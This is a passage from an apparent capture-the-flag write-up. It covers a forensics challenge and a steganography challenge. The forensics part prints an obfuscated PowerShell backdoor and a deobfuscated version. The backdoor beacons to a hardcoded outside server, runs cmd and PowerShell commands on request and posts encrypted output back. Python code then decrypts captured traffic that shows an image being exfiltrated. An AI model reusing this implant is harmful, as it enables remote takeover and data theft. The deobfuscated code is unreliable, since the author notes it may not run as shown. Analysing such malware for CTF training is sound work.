${CWj2`TWh} = (&("{4}{3}{2}{0}{1}"-f '-',("{1}{2}{0}"-f't','W','ebReques'),'ke','nvo','I') -UseBasicParsing -Uri ${d`Fct`DFM} -Body ${k`V`qBxbUr} -Method ("{1}{0}"-f'OST','P'))."co`N`TENT"
${TvYM`e`YrR99} = (("{0}{1}"-f'htt','p') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${i`JfySE2} = (("{1}{0}" -f 'p','htt') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
for (;;){
${M`A04XM`gY} = (.("{2}{0}{3}{1}{4}" -f'n',("{0}{1}"-f'q','ues'),'I',("{0}{1}{2}" -f 'voke-W','e','bRe'),'t') -UseBasicParsing -Uri ${I`J`FYSE2} -Method 'GET')."cO`N`TeNt"
if (-Not ${UJX`Rc}::("{1}{0}{3}{2}"-f 'l',("{0}{1}"-f'IsN','ul'),("{1}{0}{2}" -f 'mpt','rE','y'),'O')."INvO`Ke"(${M`A04XmGy})){
${m`A04XM`gY} = .("{0}{1}" -f("{1}{0}" -f 'r','Dec'),'ypt') ${V`XZ`Tmff} ${Ma04X`MgY}
${mA0`4X`MgY} = ${ma0`4`XMgy}.("{1}{0}"-f'it','spl')."INv`okE"()
${FL`AG} = ${MA04`x`mgY}[0]
if (${Fl`Ag} -eq ("{0}{1}" -f 'VAL','ID')){
${WB1`SWYo`je} = ${MA04`X`MgY}[1]
${yO8`X`M5S} = ${Ma0`4XMgY}[2..${MA04x`mgY}."LeNg`TH"]
if (${wb1s`Wyo`Je} -eq ("{1}{0}"-f'l',("{1}{0}" -f'hel','s'))){
${F} = ("{0}{1}{2}"-f 'c',("{1}{0}" -f'e','md.'),'xe')
${y`O`8XM5} = "/c "
foreach (${a} in ${yo8`xM`5s}){ ${Yo8`x`m5} += ${a} + " " }
${KcNJ`C`QdL} = .("{0}{1}"-f 'sh','ell') ${f} ${yo`8xM5}
${kCnjCQ`DL} = .("{1}{2}{0}"-f 'pt','Enc','ry') ${VxztM`FF} ${kc`Nj`cqdl}
${kvqbX`B`Ur} = @{("{1}{0}" -f 'lt',("{0}{1}" -f 'r','esu')) = "$KcnJCQDl"}
&("{3}{0}{1}{4}{2}" -f'ke','-W',("{0}{1}" -f 'qu','est'),("{0}{1}"-f'I','nvo'),("{1}{0}" -f 'bRe','e')) -UseBasicParsing -Uri ${tV`yM`Ey`RR99} -Body ${k`V`QbXbur} -Method ("{1}{0}" -f 'T','POS')
}
elseif (${Wb1Sw`Y`OJe} -eq ("{1}{0}{2}"-f 'owe','p',("{2}{1}{0}" -f 'l','l','rshe'))){
${f} = ("{0}{3}{4}{1}{2}" -f ("{0}{1}"-f'p','owers'),'e','xe','he','ll.')
${yO`8X`m5} = "/c "
foreach (${a} in ${Y`o8xM5s}){ ${YO8x`m5} += ${a} + " " }
${kc`Nj`cqdL} = &("{0}{1}" -f 'she','ll') ${F} ${yO`8`XM5}
${k`cn`jCQDL} = .("{0}{1}"-f ("{0}{1}" -f 'En','cr'),'ypt') ${vXZT`mfF} ${KCN`jcqDl}
${KVqb`x`BUr} = @{("{1}{0}"-f ("{0}{1}" -f 'es','ult'),'r') = "$KcnJCQDl"}
&("{0}{2}{4}{5}{1}{3}"-f'Inv',("{0}{1}"-f 'WebR','e'),'o',("{1}{0}" -f 'st','que'),'ke','-') -UseBasicParsing -Uri ${tvyMEY`R`R99} -Body ${k`V`qBXb`Ur} -Method ("{1}{0}" -f 'OST','P')
}
elseif (${wb`1swYO`Je} -eq ("{0}{1}"-f 'sl','eep')){
${n} = [int]${yO`8Xm`5S}[0]
${kV`Q`BXbur} = @{("{0}{1}"-f're',("{0}{1}"-f 'su','lt')) = ""}
&("{2}{0}{4}{1}{3}" -f 'o',("{1}{0}"-f 'Re','Web'),'Inv',("{0}{1}"-f'qu','est'),'ke-') -UseBasicParsing -Uri ${tV`Ymeyr`R`99} -Body ${Kv`QBXBur} -Method ("{1}{0}" -f 'T','POS')
}
elseif (${wb`1sWy`ojE} -eq ("{1}{0}"-f'e',("{1}{0}"-f'm','rena'))){
${c`wJ2t`Wh} = ${Y`O8Xm`5S}[0]
${TVY`mey`Rr99} = (("{1}{0}" -f'tp','ht') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${ijF`Ys`E2} = (("{1}{0}"-f'ttp','h') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
${kV`Qb`XbUr} = @{("{1}{0}" -f'lt',("{1}{0}" -f 'esu','r')) = ""}
.("{0}{1}{4}{2}{3}" -f 'Inv',("{0}{1}{2}" -f'ok','e-','WebR'),'qu','est','e') -UseBasicParsing -Uri ${TVY`mEyR`R`99} -Body ${KvqBxb`Ur} -Method ("{1}{0}"-f 'OST','P')
}
elseif (${w`B1s`WYOJe} -eq ("{0}{1}" -f 'qu','it')){
exit
}
}
.("{1}{0}"-f 'p',("{0}{1}"-f'sl','ee')) ${N}
}
}

Using ChatGPT + PSDecode to clean it up. This deobfuscated version is for reference only — it may not execute identically to the original:

Terminal window
$CIPHER_MODE = [System.Security.Cryptography.CipherMode]::CBC
$PADDING_MODE = [System.Security.Cryptography.PaddingMode]::Zeros
$CONVERT_TYPE = [System.Convert]
$TEXT_ENCODING_TYPE = [System.Text.Encoding]
$DNS_TYPE = [System.Net.Dns]
$STRING_TYPE = [System.String]
function Create-AesManageObject($iv, $key) {
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = $CIPHER_MODE
$aesManaged.Padding = $PADDING_MODE
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($iv) {
if ($iv.GetType().Invoke().Name -eq $STRING_TYPE) {
$aesManaged.IV = $CONVERT_TYPE::FromBase64String.Invoke($iv)
} else {
$aesManaged.IV = $iv
}
}
if ($key) {
if ($key.GetType().Invoke().Name -eq $STRING_TYPE) {
$aesManaged.Key = (Get-Variable XNFD).Value::FromBase64String.Invoke($key)
} else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Encrypt($key, $input) {
$aesManaged = Create-AesManageObject $key
$encryptor = $aesManaged.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($input)
$encryptedBytes = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$result = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()
[Convert]::ToBase64String($result)
}
function Decrypt($key, $input) {
$aesManaged = Create-AesManageObject $key
$decryptor = $aesManaged.CreateDecryptor()
$bytes = [Convert]::FromBase64String($input)
$iv = $bytes[0..15]
$inputData = $bytes[16..($bytes.Length - 1)]
$decryptedBytes = $decryptor.TransformFinalBlock($inputData, 0, $inputData.Length)
$result = [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)
$aesManaged.Dispose()
$result
}
function Shell($filename, $arguments) {
$processStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$processStartInfo.Filename = $filename
$processStartInfo.RedirectStandardError = $true
$processStartInfo.RedirectStandardOutput = $true
$processStartInfo.UseShellExecute = $false
$processStartInfo.Arguments = $arguments
$process = New-Object System.Diagnostics.Process
$process.StartInfo = $processStartInfo
$process.Start() | Out-Null
$process.WaitForExit()
$output = $process.StandardOutput.ReadToEnd()
$errorOutput = $process.StandardError.ReadToEnd()
"VALID: " + "$output`n$errorOutput"
}
$serverIP = '128.199.207.220'
$serverPort = '7331'
$key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
$delay = 3
$currentTask = ""
$hostname = [System.Net.Dns]::GetHostName()
$requestUri = "http://$serverIP:$serverPort/reg"
$body = @{
'name' = $hostname
'type' = "p"
} | ConvertTo-Json
$taskUrl = "http://$serverIP:$serverPort/tasks/$currentTask"
$resultUrl = "http://$serverIP:$serverPort/results/$currentTask"
for (;;) {
$content = Invoke-WebRequest -UseBasicParsing -Uri $url -Method 'GET' | Select-Object -ExpandProperty "Content"
if (-Not $response::Invoke($content)) {
$decryptedContent = Decrypt-XTEA $key $content
$splitContent = $decryptedContent.Split().Invoke()
$flag = $splitContent[0]
if ($flag -eq "VALID") {
$action = $splitContent[1]
$parameters = $splitContent[2..$splitContent.Length]
if ($action -eq "shell") {
$executable = "cmd.exe"
$arguments = "/c "
foreach ($parameter in $parameters) {
$arguments += $parameter + " "
}
$result = &("shell") $executable $arguments
$encryptedResult = &("Encrypt") $key $result
$postBody = @{("result") = "$encryptedResult"}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
}
elseif ($action -eq "powershell") {
$executable = "powershell.exe"
$arguments = "/c "
foreach ($parameter in $parameters) {
$arguments += $parameter + " "
}
$result = &("shell") $executable $arguments
$encryptedResult = &("Encrypt") $key $result
$postBody = @{("result") = "$encryptedResult"}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
}
elseif ($action -eq "sleep") {
$duration = [int]$parameters[0]
$postBody = @{("result") = ""}
Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
Start-Sleep $duration
}
elseif ($action -eq "scheduling") {
$taskID = $parameters[0]
$resultsUrl = "http://$serverAddress:$port/results/$taskID"
$taskUrl = "http://$serverAddress:$port/tasks/$taskID"
$postBody = @{("result") = ""}
Invoke-WebRequest -UseBasicParsing -Uri $resultsUrl -Body $postBody -Method "POST"
Invoke-WebRequest -UseBasicParsing -Uri $taskUrl -Body $postBody -Method "POST"
}
elseif ($action -eq "quit") {
exit
}
}
Start-Sleep $delay
}
}

Observation: The PowerShell above connects to 128.199.207.220 and uses AES CBC with $key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='.

Back to the pcapng, we see some encrypted connections:

Filter pcap with ((ip.dst == 128.199.207.220) || (ip.src == 128.199.207.220)) && (http) && !(frame contains "NO CONTENT") && !(frame contains "IFDRBU") and decrypt each packet:

from Crypto.Cipher import AES
from base64 import b64decode
import urllib.parse
key = b64decode("d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=")
iv = bytes([i for i in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv = iv)
def decrypt(cipher, b64):
return cipher.decrypt(b64decode(urllib.parse.unquote(b64)))
b = "h%2FREF9LOiNe2K46pgej%2Bc%2B5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh%2FuctV0zSYIP23QvJRPm617f%2F%2Ba4lshe8xLjPc%2FChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9%2FjqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4%2ByYlICfZEVekO%2BLTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE%2Bxd%2BYGcUGhNb%2BovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46%2Be0UjwTt8%2ByofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s%2F%2BYLSefDedRZHXW9FWqSgoIXGBc%2BEQhuFvQQPiI6hTTq64Y8%2BQpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX%2BUFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2%2FeBSF1MIyfu621hIoXMLibDUaxLupq%2BFXoIhms%2B5Ow8kyxdi8EOZA55A2B5p2%2BY9kZwaIpPsuPk3h78J%2BQvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k%2BFW1zPAFSNKy5X38MCszAZ%2Fi1dcXYwShjj4VrZLMM%2BzitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6%2Bwo4qZ%2FjUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2%2BvYv%2BXfXC8kAK7%2BUZhJ7jW3EeNAlGq3vwo%2BPE0DFUFaN%2FyiCsaYQanw5s6Q2%2BboNph7ybKBU1jKj%2BcqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE%2BQ9QDM5QaI8AOi2WUl%2B%2BW3bevqPf4wSPnk4kAc%2F%2FcSdpHI%2B90U%2FNzsiwlMQ8VAoPjJ%2Bb2VHWO51%2F1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk%2BFxu%2F6%2BhNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s%2BDzKNk8AaMq%2Bh0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ%2FllTFPNOH7%2FvU5pBpcg7I%2Brqkr%2FayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY%2B9fUz%2FuxSvafuFG0CEUZxdXljsPNz94%2FANu4qAiAqxZeRwMr%2BMZsyX%2FdYZoREl74sk4mOg0ilLhmTfFFN6d0te1es"
b = "RrzBf9o5vTBf+vInYW3OTzBvvNIWSyyKsx6v25jOD9roPGP4gOhaHPc/u7l804cs"
b = "aix8RxrqFg9Wi2uiE6B8BVgr5L51x55Cxxxw4zppPONqXskKoe+N7OMDg1d06pTj"
b = "tp4pZ9OgpI9uxr4sNupHQJE5hBlTVd7NbIK21rjApBf15tj9AuNo6OU/zJ/K3REi"
b = "luFqXmiFN1kyXfGkxrD9GukoecDD5s6XLJwlHJ2T%2FYu7F8NkHwvBwut0us0%2FrbsJabWaVH47WHTwPEdGnj2rxdsm0o7dns4ptkRQ4ckX9uxwMLKqFWygzb9oSVA7BR7ilsjkBwvvSJDmKCOcITICTg%3D%3D"
b = "bK2FX23ydWGbJNdJliRrDqjOE17p1YakRt2cjgaRJJv0zAVVro+Gq1waD0ui+lCe"
b = "syJFxAeJjdsNXrRpzEenYfY45X1Ag%2B3DMc%2B8V1moMH4J97dMf4DD5lMiQEBNAohIxmnjYG2bD9sFzLh9sCNXQnr5xrzGDSqKzXi%2BCbMGYkyvfAovaK7DrdzdwR%2BwMHQPju7ujDz2m0W2G3mlpLv%2Bfz29mEFb6EbtJpcwN%2BmVkjPsWTiLtqNisztY2OgCvKkjDLD21Ke2iizhhDDcFWOc4gz5PQSXxlELaPsbZ10fiVEVFWUXNLAM3MTUgHmQuYA9AHCqWQmSewV1%2FiIcoZ%2BFwJB2H2SJSnZtLLhNsBkSgGYVaeAr%2F2CzKRWEa611H6blwl%2BSwh6tz9Fc3UiSAu210vUrdTWAT7t2rVPBFTsg4O1wuDxBacdP1aVsYAKCPUygpxxnxwjdesiDuja1nNU7ZfB%2F%2BAhbwx5dF1AB7hgLT5AQkLWehwfrx4bIz40JUJth7S4oNSpoLir3Zztd8t%2FLyEOO7qZEpr8d5libGZngrYUxoOEMJkoeMk6rfepBioDMFsKQ03ZgbHLnfXvhNdgRuYlV9wucD3NJitZ%2Be1bTPxEabcboTu%2F7lq0CrxQvuU%2BZnpedwvEu7OgjVldq3W26tEHWSk3TXBYjloJFhihNxzaLXNRtFwa85t%2FHsbUg2K2j7aJZoStBG6sa8%2B8KiXJ48WAgnaWamXsxMUIlC3UzDlHl%2FmEdMljsJJRx74v%2BdcOgcrE7lHP7hd4zG4L0OHhiIB2p%2F69rUeQtUABJMc9gijLZ51Lh8TMeG074biK1SO0nANJaS8Eow0wV%2F%2Br9u488OqNALJ%2BJc6fgY1JRLT3rBIiBFwH520oqaH6CcuMlIV4hpka%2BBRseU5X6FyPT5SR6Pf7TIF8MHT1NBZzVxH%2BeGkBxLMbZYt39FZLtWpYXOEQbghxUT4svtsphzGnF9FbMMlxe8d1ATfCm7CQDqeC4Bviq60oWDjupDi%2F5%2FRgHLh%2BGJooVOka4sofTwEckFJif5d6v26rgrcfr51Y6RebUCoxUGQfdgoityTeHfmeIK5aXVCSNePQmsMEFIrCl0E7ncnFJ649yVQ6nvDNhxCqWL%2Bz%2F7N5admwm7rdXotv7l5GPJ9G7FQW5jCLJ0MwUgK%2ForGEJo93%2FSI4p6pVRVl7L8cGaeGOc1WhWVRU4wWlDVC1xurRMjjrXgrjsDe0Y9iFkTlDw6rJeUd4kKTu%2FFsiYcF9Xdj2bpP8kLZu4OaSNkZ3UEwqLs%2BPca8v%2BR2q2BX0mjNleYmZsyYqrISDh3KuF4iBv6INaguDECQ%2BwHHr25L9CjYmu%2FnIlJmyB0OycbAH%2FZq9LSMSIzdD6enlxGdQBfuvtYpAPHfQ4bmao3xQxsD09gjA0IjN05l8Bv3cUklK0gTkANUEVhUGbQ7LgNC8A5G%2BEpUB32ur72Y%2BNAFLeCAdYd8czsz%2B51KKNQr3V29Q1kXZXGXRqNUPva8kDofwCtt8Hmg554%2B0YxENNY5S7b72H7Jw4kxQa%2BOe2vkEnBl6EbDVi2gqFdOwvCqQD7cLP5l7tbkbWRBltCKpvlaz3pJd4%2FxuBkVCZDBMqoF%2FPUIt4mPDhmN02hrA5jV15fo%2Bod8lYFazxxZAjg4vV5meEL3K3hJfSSmTtLcuXpCHwxDA1%2BvOcGVsapwTn2vIlyuOlq3AgqKcXr1aFb6DJYjnIg%2Fo8gbJX3lE%2Fb0ZlVPYFBx0WfI0A%2FSWRsmNM7ICTJCXrGnkLKTyfwXXtWhJt3B4FVgdn"
b = "uGjyY6GcnabYem8450v+e256asufK4JUhfW5/KQfyPeAIkmBiQcwBoQbI8z7v9NLyH9Gwi4k6ViFL0nMTCGGWS0TSS6vqWRHa4ADkfcaVFhcjLmBV23dnOfSoCGUWzCg4TBcpDtc+C4QOc/v+dZSL2ytww2c8+pY1dGwth89dVWej8qifotdP0I9p3f/WNCf"
b = "oLGpnM8tDrH9%2FJBe5GYTrewvNFclSWXFfuvoKfF3WezjhkNMJ5aEt3wcAUl2cib0AtdsIBZtgo3M3LLLo%2FYb1YBFrIy%2BRTZW2rwWySE3HE1m4AKv2XkWOvwuapBBC%2Fixkp9U4dzwSdhjOYCIk%2FmTXLJaGDioTHzDJCXuicEMP8O4tbpDbbGdPOPHm4HOHN%2BVUzYrctFoRyGm6aZ7CHyydkQPplBTnksHN43WR%2B%2BC69mvPYfSvGTIlHGPW6yjGbgrtQRjWOfIyXZD0XvG0c9b5Gz0xGJY9axPoEjZHQlsAtLMAdFS4StVY1BjL%2FyBOg6h9zmu10nZwnuDp%2FiXRjVmbjEJeSPYwdsOiCmH%2FubkELlb72b6z9w8%2Fpv6TrmCJWKQo1p0mNUXwstKKHkw4pnBW5IG9HwOOkRzBqB7yna43gGjENzgdmuQWZa35l7ozu5KPjgV5LwMfTeYWDrnII2qvj99j4FhWsxETt85%2BTfI4%2FZc3fAED8NtiAs5sxak03BAhXn26xFlwW%2FfBD7QpMPlUuTs1Eocun4tGRPVfS7jO8DmK%2FGlx81S%2F4By665OVB9Vj2zLQhqfAssVQVnz%2BelcqFcBAHB%2BGkj5JKDk5U7MeOHNi1GjxyrmwvVOn7p6SHdT5WE4S9bM3RKmiAz76de6m2jozSpwr5kVd5lFhrQS3CoziwvwkHYOMu7l1nuCkN65EflYRtSfVnP3eg8QjDTnc6CjhK%2FpTDKDUorsFQ9914X2nE6wwjddgA161UOPW4rwH4Qs6CQJ9bgDB%2BAoMkRsI%2BdzZTrlQGLv1CgX20I3exnFkQAEzmDUo1isTRzCZQM5MiAbLvioZTFpu4c9fH54JBMVFIuM3YLi6ztuMGL4v2cWbj8%2FkzfVLDdG3mKLUZH6cULFa%2Bp4wraULbmYLL4dI7y2iAagQuOXzqgTuqb%2Fdom8px1JCaMoARhizHU9NLp3"
print(decrypt(cipher, b0)[16:].decode())
print(decrypt(cipher, b1)[16:].decode())

Results:

VALID powershell (Format-Hex '.\Math Test.png' | Select-Object -Expand Bytes | ForEach-Object { '{0:x2}' -f $_ }) -join ''
VALID 89504e470d0a1a0a0000000d494844520000003a0000003a0800000000c4d015f4000001204944415478dab5968b0e....

That’s the hex dump of an image file. Reconstructing it gives a QR code — scan it to get the flag.

Flag: CHH{D0n’t_w0rRy_n0_st@r_wh3rE}

Stenography

CutieK1tty

Description

A cute little cat hides many secrets. Find the interesting thing inside.

Download challenge: https://drive.google.com/file/d/18iGHuowoRUsWqwNmnuWqrqsHbMLwBJG_/view?usp=drive_link (pass: cookiehanhoan)

Solution

Open the .png as text — two suspicious filenames appear:

Rename to .zip and extract with 7zip:

For the .mp3 file, use the spectrum analyzer at https://academo.org/demos/spectrum-analyzer/:

That looks like the RAR password: sp3ctrum_1s_y0ur_fr13nd.

However, the RAR file is corrupted — its header says Cat!. Patch it to Rar!.

Enter the password to open the .rar and get the flag (base64-encoded):

Flag: CHH{f0r3n51cs_ma5t3r}

Comments

💬 Giscus is not configured — fill in repo / repoId / categoryId in src/components/GiscusComments.astro (get them from giscus.app ).